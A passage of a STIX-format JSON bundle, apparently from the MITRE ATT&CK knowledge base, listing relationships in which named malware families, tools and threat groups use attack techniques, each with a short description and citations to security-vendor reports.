            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim's %TEMP% directory path and version of Internet Explorer.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T00:33:19.228Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ca71a63a-4481-46d2-98b2-b83cce190380",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Netwire Mar 2015",
                    "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                },
                {
                    "source_name": "FireEye NETWIRE March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html",
                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Red Canary NETWIRE January 2020",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2021-01-12T18:38:41.164Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[httpclient](https://attack.mitre.org/software/S0068) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:34:10.818Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots based on specific keywords in the window\u2019s title.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T16:28:16.100Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--73171e71-b769-41ff-874a-ff76da43541f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) uses HTTP or HTTPS for C2.(Citation: Lotus Blossom Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:05:58.602Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:14:24.136Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18"
        },
        {
            "id": "relationship--79958f80-16ca-4287-b691-9c748d6baf66",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to create a login item for persistence.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "type": "relationship",
            "modified": "2020-01-17T19:39:11.377Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.309Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-01-09T17:15:14.802Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-17T02:15:30.794Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) uses HTTP for C2.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.443Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a72ad83f-8336-4d01-b22d-5c836f5e5bf9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) connects over 443 for C2.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.500Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:10:53.865Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.542Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[netsh](https://attack.mitre.org/software/S0108) can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.(Citation: Demaske Netsh Persistence)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Demaske Netsh Persistence",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
                    "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
                }
            ],
            "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
            "type": "relationship",
            "modified": "2020-03-28T01:00:55.161Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.552Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) schedules the execution one of its modules by creating a new scheduler task.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.772Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2fededb7-e713-495c-a317-919c037434a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers user names from infected hosts.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.369Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:25:55.175Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--1b95cd32-155b-488d-bbf8-e16f22e2a1d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) has the capability to download files to execute on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.177Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.506Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main [CozyCar](https://attack.mitre.org/software/S0046) component.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.865Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.795Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.887Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.425Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
